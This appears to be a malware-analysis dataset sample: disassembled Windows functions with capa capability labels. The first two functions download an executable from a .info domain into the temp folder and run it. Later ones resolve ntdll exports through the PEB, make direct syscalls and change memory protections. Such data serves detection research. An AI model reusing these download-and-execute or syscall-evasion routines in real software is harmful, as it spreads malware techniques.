joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40145d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1887935070
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d0_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOctetsCpy
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40145d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1887935070
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d0_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOctetsCpy
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x140001109
Capabilities:
Terminate process

Disassembly:
jmp 0x140001ef0
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140002cb0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140002cb0
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002cfa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002cfa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002cfa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002cfa
cmp dword [rcx + 0x84], 0xe
jbe 0x140002cfa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002cfc
xor al, al
add rsp, 0x28
ret
Function at 0x140002472
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x140002491
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001d110

Function at 0x1400050d7
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov rsi, rcx
mov ecx, 2
call qword [fcn.14001cb40]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov edx, 1
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.14001d110

Function at 0x140005116
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
cmp qword [0x1400e70f0], 0
jne 0x14000512e
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.1400050d7
lea rsi, [rsp + 0x20]
mov rdx, rcx
mov rcx, rsi
call fcn.140005050
mov rbx, qword [rsp + 0x28]
mov rcx, rsi
call qword [0x1400e70f0]
test rbx, rbx
je 0x14000515f
test byte [rbx + 7], 0x40
jne 0x14000515f
mov rcx, rbx
call fcn.1400034fc
lea rcx, [0x14001e320]
call fcn.140017920
cmp byte [rax], 0
je 0x140005197
mov byte [rax], 0
lea rcx, [0x14001e220]
call fcn.140017920
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140003a61
add rsp, 0x38
pop rbx
pop rsi
ret

Function at 0x140005802
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
lea r12, [0x1400e70c0]
xor ebx, ebx
lea r14, [0x14001e320]
mov rsi, rcx
mov rdi, rdx
lea r13, [rsp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbp, qword [fcn.14001cb40]
mov ecx, 1
cmp rbx, rdi
jl 0x140005888
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x1400202db]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
call fcn.14001d110
mov rcx, r12
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rbp
xor r8d, r8d
mov rdx, r13
mov rcx, rax
mov rax, rbx
shl rax, 4
movups xmm0, xmmword [rsi + rax]
movups xmmword [rsp + 0x20], xmm0
call fcn.1400056dc
mov rcx, r14
call fcn.140017920
cmp byte [rax], 0
jne 0x1400058ba
inc rbx
jmp 0x14000583b
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140015810
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x14001e660], 0
je 0x14001582f
mov edx, 1
jmp 0x14001596e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
xor ebx, ebx
mov r8, qword [rax + 0x10]
xor eax, eax
mov rdx, qword [r8 + 0x30]
test rdx, rdx
je 0x140015892
movsxd rcx, dword [rdx + 0x3c]
mov ecx, dword [rdx + rcx + 0x88]
test ecx, ecx
je 0x14001588a
lea rax, [rcx + rdx]
mov ecx, dword [rax + 0xc]
add rcx, rdx
mov r9d, dword [rcx]
or r9d, 0x20202020
cmp r9d, 0x6c64746e
jne 0x14001588a
mov ecx, dword [rcx + 4]
or ecx, 0x20202020
cmp ecx, 0x6c642e6c
je 0x14001589c
mov r8, qword [r8]
mov rbx, rdx
jmp 0x140015844
test rax, rax
jne 0x14001589f
jmp 0x14001596e
mov rbx, rdx
mov ebp, dword [rax + 0x1c]
mov esi, dword [rax + 0x24]
xor r10d, r10d
lea r13, [0x14001e664]
mov edx, dword [rax + 0x18]
mov eax, dword [rax + 0x20]
add rsi, rbx
add rbp, rbx
lea r11d, [rdx - 1]
add rax, rbx
lea rdi, [rax + r11*4]
add r11, r11
add r11, rsi
mov ecx, dword [rdi]
add rcx, rbx
cmp word [rcx], 0x775a
jne 0x140015902
mov eax, r10d
inc r10d
lea r12, [r13 + rax*8]
call fcn.1400157e8
mov dword [r12], eax
movzx eax, word [r11]
mov eax, dword [rbp + rax*4]
mov dword [r12 + 4], eax
cmp r10d, 0x1f4
je 0x140015914
sub rdi, 4
lea rax, [r11 - 2]
cmp rsi, r11
je 0x140015914
mov r11, rax
jmp 0x1400158cc
mov dword [0x14001e660], r10d
lea r11, [0x14001e664]
dec r10d
test r10d, r10d
je 0x140015825
lea rax, [0x14001e660]
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, dword [rax + 8]
mov rdx, rcx
lea rcx, [r11 + rcx*8]
mov r9d, dword [rcx + 4]
cmp r9d, r8d
jae 0x140015960
mov ebx, dword [rax + 4]
mov esi, dword [rcx]
mov dword [rax + 8], r9d
mov dword [rax + 4], esi
mov dword [rcx], ebx
mov dword [rcx + 4], r8d
add rax, 8
cmp edx, r10d
jb 0x140015937
dec r10d
jmp 0x140015925
mov eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x140015b5d
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3950907
call fcn.14001597d
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140015ba0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8b19978d
call fcn.14001597d
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140015e25
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x88a6285
call fcn.14001597d
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret
Function at 0x1400169f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001cb40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001cb40
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140016a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e78b4]
mov rbx, rcx
test esi, esi
jle 0x140016b90
mov rax, qword [0x1400e78b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140016aab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140016b35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140016a90
mov rcx, rbx
call fcn.1400174b0
mov rdi, rax
test rax, rax
je 0x140016bb2
mov rax, qword [0x1400e78b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400175f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e78b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140016b97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140016b2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140016b40
add dword [0x1400e78b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e78b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140016b2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400169f0
nop dword [rax]
xor esi, esi
jmp 0x140016ab8
mov rax, qword [0x1400e78b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400169f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400169f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140017120
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e7920]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e7900]
test rbx, rbx
je 0x14001717c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140017173
test rsi, rsi
je 0x140017173
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140017158
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400174b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400e1ca0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400174d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400174d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400174d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001752d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140017524
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400174d0
add rax, 0x28
cmp rax, r9
jne 0x140017510
xor eax, eax
ret

Function at 0x140017530
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400e1ca0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001754f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140017558
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001754f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400175f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400e1ca0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14001760f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140017618
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400178c0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x1400e79a0], 0xffffffff
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [0x1400e79a8], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x140017910
lea rdx, [0x1400177d0]
mov ecx, eax
mov dword [0x1400e7998], eax
call fcn.14001d260
test eax, eax
jne 0x140017918
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140017907
call sub.msvcrt.dll_abort
nop
nop
Function at 0x140017920
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x1400e1c10]
mov r11d, dword [rsi]
mov rbx, rcx
test r11d, r11d
jne 0x140017958
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1400179c0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r12, qword [rcx + 0x10]
test r12, r12
je 0x1400179d0
mov esi, dword [0x1400e7998]
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
call r13
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x140017a40
mov rbp, qword [rsi]
cmp rbp, r12
jb 0x140017a88
sub r12, 1
mov rax, qword [rsi + r12*8 + 8]
test rax, rax
jne 0x140017947
mov rcx, rbx
call fcn.140017820
mov qword [rsi + r12*8 + 8], rax
jmp 0x140017947
call fcn.140017820
mov qword [rbx + 0x10], rax
jmp 0x140017947
mov r10d, dword [rsi]
test r10d, r10d
je 0x140017aea
mov r9d, dword [0x14001f650]
test r9d, r9d
je 0x140017b18
lock add dword [0x1400e79a0], 1
jne 0x140017b4c
mov r12, qword [rbx + 0x10]
test r12, r12
je 0x140017af7
mov eax, dword [rsi]
test eax, eax
je 0x140017961
lock sub dword [0x1400e79a0], 1
js 0x140017961
mov rcx, qword [0x1400e79a8]
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x140017961
lea rcx, [r12 + 0x21]
mov edx, 8
lea rdi, [r12 + 0x20]
call sub.msvcrt.dll_calloc
mov rsi, rax
test rax, rax
je 0x140017b73
mov qword [rax], rdi
mov ecx, dword [0x1400e7998]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x14001799b
call r13
jmp 0x14001799b
lea rdi, [rbp + rbp]
lea rax, [r12 + 0x20]
mov rcx, rsi
cmp rdi, r12
cmovb rdi, rax
lea rdx, [rdi*8 + 8]
call sub.msvcrt.dll_realloc
mov rsi, rax
test rax, rax
je 0x140017b73
mov qword [rax], rdi
sub rdi, rbp
lea rcx, [rax + rbp*8 + 8]
xor edx, edx
lea r8, [rdi*8]
call sub.msvcrt.dll_memset
jmp 0x140017a63
call fcn.1400178c0
mov dword [0x14001f650], 1
mov edx, dword [rsi]
test edx, edx
jne 0x1400179ec
mov r12, qword [rbx + 0x10]
test r12, r12
jne 0x140017961
mov rax, qword [0x1400e7990]
lea r12, [rax + 1]
mov qword [0x1400e7990], r12
mov qword [rbx + 0x10], r12
jmp 0x140017a07
lock add dword [0x14001f654], 1
je 0x140017ad1
mov r8d, dword [0x14001f650]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [0x14001f650]
test r8d, r8d
jne 0x140017ae0
nop dword [rax]
xor ecx, ecx
call rbp
mov ecx, dword [rdi]
test ecx, ecx
je 0x140017b40
jmp 0x140017ae0
mov rcx, qword [0x1400e79a8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400179fa
lock sub dword [0x1400e79a0], 1
jmp 0x1400179fa
call sub.msvcrt.dll_abort
nop
nop dword [rax]
cmp qword [rcx], rdx
jae 0x140017b90
mov qword [rcx], rdx
mov qword [rcx + 0x18], 0
cmp qword [rcx + 8], r8
jae 0x140017b9a
mov qword [rcx + 8], r8
test r9, r9
je 0x140017ba4
cmp qword [rcx], rdx
je 0x140017ba8
ret
mov qword [rcx + 0x18], r9
ret
Function at 0x1400461e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004622e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004622e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004622e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004622e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004622e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140046230
xor al, al
add rsp, 0x28
ret
Function at 0x140002e10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004a20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004a20
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a0a4]
mov rbx, rcx
test esi, esi
jle 0x140002fb0
mov rax, qword [0x14000a0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002ecb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002f55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002eb0
mov rcx, rbx
call fcn.1400038d0
mov rdi, rax
test rax, rax
je 0x140002fd2
mov rax, qword [0x14000a0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003a10
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002fb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002f4e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f60
add dword [0x14000a0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002f4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002e10
nop dword [rax]
xor esi, esi
jmp 0x140002ed8
mov rax, qword [0x14000a0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002e10
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002e10
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003540
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x14000359c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003593
test rsi, rsi
je 0x140003593
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003578
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]